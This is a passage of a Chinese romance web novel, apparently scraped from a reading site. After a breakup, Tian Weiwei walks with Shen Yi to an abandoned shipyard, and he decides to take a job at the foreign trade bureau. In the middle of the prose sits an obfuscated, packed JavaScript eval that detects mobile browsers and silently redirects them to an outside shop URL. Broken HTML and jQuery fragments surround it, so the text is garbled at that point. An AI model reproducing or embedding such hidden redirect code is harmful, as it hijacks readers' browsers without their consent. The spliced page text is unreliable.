沈译一把把张启年的手甩开,扭头看向田薇薇。
田薇薇对他摇了摇头。
“我的意思你应该听明白了,你和张映菲的问题,该怎么解决是你们自己的事,”田薇薇沉静的对张启年道,
“跟田家跟我已经没有任何关系,如果你是真心想要道歉和弥补,那就不要再来打扰我,这是我唯一的诉求。”
话说到这个份上,旁边还有外人在,张启年实在做不出痛哭求饶的举动,呐呐的应了一声,说着“我知道了,那我走了”,还要走两步回头看一眼。
可惜田薇薇只留给他一个后脑勺,压根没再关注他。
“又要谢谢你。”田薇薇有点囧,上一次在河堤边碰上,是沈译和别的女生闹矛盾,她还差点被“误伤”。
谁知道风水轮流转,又轮到沈译看到她的分手现场。
沈译下巴往紧挨着小树林的两层小楼那儿抬了抬,“刚好瞧见。”
原来背对着树林的两层小楼是他家,那窗户可不就正对着么,只是眼神也未免太好,隔着好几棵树呢。
“嗯,我眼神一直挺好。”沈译轻笑,田薇薇才发觉她把那句心里话说了出来。
“那你这观察点应该挺热闹。”每天透过窗户不知道能看到多少八卦。
沈译被她说的一愣,反应过来更想笑了,“可能吧,平时也没这么闲。”
那就是她倒霉喽,正好被人瞧见。
沈译见她神色轻松中带着点懊恼,就是没有一丝伤心,不由得好奇,“你不难过吗?”
“难过啥?”田薇薇话问出口,立刻反应过来,
“你是说张启年?他自己品行不端,我能及时发现及时止损,高兴还来不及。我妈说了,这是老天都在帮我。”
“那倒是,”沈译顺着她点头,
只是寻常姑娘碰到这样的事,即便不伤心也该很愤怒,像田薇薇这样平静的,大抵是没多少感情,这么一想,突然觉得心情愉快起来,
“要回去么?”
“不了,再溜达溜达。”免得回去又碰上那对母子。
“一起?”
“好呀。”
田薇薇觉得跟沈译相处很轻松,可能是因为她身边的那些人都跟原身有着各种各样的关系,只有沈译,是她自己认识的熟人。
“嗓子彻底好了么?”
“好了呀,好着呢。”田薇薇声音清脆,没了影响她恢复的火锅烤肉,嗓子好的飞快。
两人跨过那条淌水的沟渠,沿着河堤走下去。
前面是一大片只剩下麦茬的耕地,已经光秃的地里有块不明显的小土堆,田薇薇眼睁睁看着一只肥嘟嘟灰不溜秋的东西冲进去。
“哎,你看到没,那是不是只兔子?”应该是野兔,田薇薇瞬间想起吃到停不下来的麻辣兔头。
“嗯,抱窝的兔子,”沈译只瞧了一眼就肯定道,“肚里还带着崽。”
麻辣兔头的泡泡噗的一下灭了,田薇薇有些惆怅,她还是馋肉啊,小声叹了口气。
沈译却突然指向远处,有几个耸立着长烟囱的高大厂房,“那边,是以前的造船厂,想过去看看么?”
“还有船吗?”田薇薇用实际行动表示她很感兴趣。
“早已经荒废了,前几年船坞里停了一艘破败的没人要的旧船,不知道还在不在。”
船坞开口面向河面,沈译从前就喜欢坐在旧船的甲板上,什么也不做,只对着河面发呆。
看起来不远的地方,走的田薇薇有些出汗,风吹过来,带着阵阵凉意。
废弃的厂房屋顶只剩下几根横梁,墙面长了不少爬藤。
田薇薇离得近了,发觉船厂还真不小,第一个船坞是空的,早已经没了水。
隔壁船坞里虽然停着一艘船,却因为时间太久,早已被杂草侵占,只有船头甲板的位置还空了一块。
“这船是木质的呀?”田薇薇好奇的垫脚去看,甲板缝里都能长出草来。
“嗯,别看是木质的,涂了桐油很结实。”
甲板离旁边的通道还有段距离,以前可以放了跳板,供人登船。沈译这会助跑一下也能跳上甲板,可他带了田薇薇,并不想冒这个险。
田薇薇已经开始跃跃欲试,“能从哪里上去吗?”
船尾倒是挨的近,但是那里杂草太密,保不齐有虫蛇,沈译想了想,让田薇薇站远点,等他一下。
三四步助跑,沈译在田薇薇的惊呼声中跳上船头甲板,旁边破败的船弦烂了个洞,仔细透过洞口往下看,还能看到堆积了泥沙的船舱。
沈译把船舷只剩半截的木板彻底掰断,给田薇薇搭了个跳板。
自己在上面来回试了两遍,才让田薇薇走,“很结实,不用怕。”
停着旧船的这个船坞外围还有水,只是水不深,一眼就能看到底。田薇薇觉得就算掉下去也顶多狼狈了点,至于跳板太窄对她来说当然不是问题。
第一脚踩下去还小心翼翼的,后面几步越走越快,最后一步直接跳了上去。
沈译从善如流的收回想要扶她一下的手。
站在船头往前看的感觉和走在河堤边完全不同,忽略身后杂草丛生的船身,田薇薇目视前方,看到夕阳下波光粼粼的河面,陡然生出一丝豪情。
“我很快就要成为一名老师,一名小学老师。”田薇薇不是要讲给谁听,只是从自己嘴里说出来感觉十分神奇。
她两辈子都没想过她会选择老师作为她的职业。
可她就要当老师了。
“实习老师吗?”沈译想起王慧提到田薇薇在师范上学,眼瞅着还有一年就能毕业。
田薇薇看了他一眼,强调,“实习老师也是老师。”
“嗯,田老师好。”沈译冷不丁来了一句,惹来田薇薇挑眉一瞥。
“小学老师不好当,”沈译有感而发,“那些低年级的小孩子特别调皮,比较有挑战性。”
沈家既然住在家属院里,童阿姨是医生,那只能沈译爸爸是老师了。
“除了老师,我也不知道我能干啥。”这年头工作都是包分配的,谁让她学的师范呢,她就是想干回老本行,也得有相关学历啊。
“老师也挺好,不试试怎么知道自己喜不喜欢……”
沈译说着说着突然没声了,田薇薇奇怪的看了他一眼。
只见这人像是突然想通了似的,笑叹了口气,“是啊,总要试试才知道自己喜不喜欢。”
他们是在讲工作吧,田薇薇欲言又止。
“我要退伍,部队里给安排工作,”沈译像是下定了某种决心,
“一份工作是去市公安局,跟陈栋他们差不多,另一个是去外贸局。我原本两个都不怎么想去,想着实在不行干脆就去跑大车。”
“那现在呢?”
“还是去外贸局吧,”做好决定的沈译整个人放松下来,“将来有什么变动也更自由一些。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586535|205295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>田薇薇挺赞同他的选择,国家开始发展对外贸易,身在外贸局能大展拳脚的机会将会越来越多。
“那我们都是要有工作的人啦,”田薇薇觉得这话说的一点实感都没有,“当然,我得先通过实习期。”
“你一定能行。”沈译想起王慧阿姨来家找他妈聊天。
“人好好一个闺女,眼瞅着马上就毕业了,给人来这么一出,”王慧准备拉童静怡一起找师傅算算,
“我见到宋慧娟脸都臊的慌,当初信誓旦旦的跟他们保证张启年是个好的,谁知道他能干出这种恶心人的事。”
“俩人真的是本家呀?”童静怡还是不能置信。
“是的呀,还是从小一块长大的,折寿哦,”王慧提起张家都觉得脏了自己的“职业生涯”,“我一定得让师傅给我好好拜拜。”
“田家这个闺女可真不容易,”童静怡有感而发,“我记得她从小是姥姥家养大的吧,来田家也才两三年,前段时间还差点被人欺负了,现在又出这事。”
“谁说不是的,”王慧突然福至心灵,“对了,干脆喊宋姐一块儿吧,也给她闺女好好算算,趋吉避凶,去去晦气。”
“是的是的,丢了那个糟烂的,你回头再给她介绍个好的,”童静怡见过田薇薇,“那么水灵灵的大姑娘,就得配个好的。”
……
那么坚强的姑娘,没有因为接二连三的糟糕事情变得沮丧低落,依旧生机勃勃,对未来充满憧憬。
沈译觉得,田薇薇无论做什么都一定能成功,更别提一个小小的实习。
“走吧,该回家了。”天光渐渐暗下来,田薇薇估摸着时间,等走回家天也该黑了,她可没带手电筒。
这会的野外,黑下来可是一点光源都没,全靠裸眼探路。
从船上下来,沈译走在前面,本打算给她带路,可田薇薇走在后面,总觉得身后会有东西突然拍她肩膀。
“还是我走前面吧,我看得见路。”田薇薇声音不大,语气不容拒绝。
沈译嘴角上扬,从善如流的停下,让田薇薇越过自己走到前面。
回程的路特别快,沈译觉得没走几步就到了小树林,沈家堂屋已经亮起灯,只有二楼的窗户黑呼呼的。
到了有光线的地方,田薇薇总算慢下来,沿着小楼的院墙往家属院里走。
他们这个家属院,除了靠近马路那面有个统一的出口,靠河的这面可没个院墙围起来,几乎每家房屋旁边都有小路可以走去河堤。
田薇薇从黑暗的地方走出来,被昏黄的灯光照的眯了眯眼睛。
“你回吧,我走几步就到家了。”田薇薇扭头对站在自家门口的沈译道。
“好,路上小心。”沈译没耽误,转身进了院子。
堂屋里,童静怡正在收拾东西准备去诊所,看到沈译这会回来,狐疑道,“你在外面溜达到现在?”
“嗯,我明天回趟部队。”
回去就是收尾,童静怡眼神一亮,“你想好啦?”
“想好了,去外贸局。”
“去外贸局好,”童静怡露出笑模样,扬声喊老沈,“老天保佑,这回算是能安定下来了。”
沈清和从卧室出来,手里还拿着自己那把宝贝二胡。
“早去早回,跟你那帮战友好好聚聚,以后想见一面也不容易。”
“我知道,”沈译看了一眼亲爹的二胡,在沈清和警惕的目光中收回视线,“上楼去了。”